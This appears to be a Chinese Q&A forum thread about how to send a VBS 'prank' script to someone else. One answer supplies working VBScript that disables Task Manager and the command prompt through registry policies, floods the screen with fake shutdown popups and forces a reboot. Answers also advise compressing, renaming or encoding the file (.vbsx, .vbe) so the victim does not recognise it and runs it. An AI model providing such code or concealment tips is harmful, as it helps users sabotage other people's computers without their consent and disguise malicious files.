vbs整人代码怎么发送给别人
发布网友
发布时间：2022-04-23 16:16
共3个回答
热心网友
时间：2023-09-18 21:09
简单啊。你把VBS后面改成.VBS就可以了。还有，别忘了得压缩。你不压缩别人一看到就知道这是个耍人的脚本了， 求积分，顺便附上一个代码，
set s=createobject("wscript.shell")
set bag=getobject("winmgmts:\\.\root\cimv2")
set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")
For Each id in pipe
if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"
id.terminate()
else
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"
for i=1 to 200
s.popup"系统将在"& 1-i &"秒后关机...",1,"系统提示",4096+48
next
Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")
For Each eOs In colOS
eOs.Win32Shutdown(2)
Next
end if
Next
[color=#FF0000]
这是个耍人的代码，可以让他电脑关机后重启后任务管理器打不开。CMD也打不开。 想要解决的方法就是先打开一次这个脚本，然后会提示关机，在没关机前你再打开一次那个脚本就好了
热心网友
时间：2023-09-18 21:09
改掉后缀，比较vbsx，然后告诉别人先去掉x然后双击
热心网友
时间：2023-09-18 21:10
把你的VBs 保存成.vbe后缀。
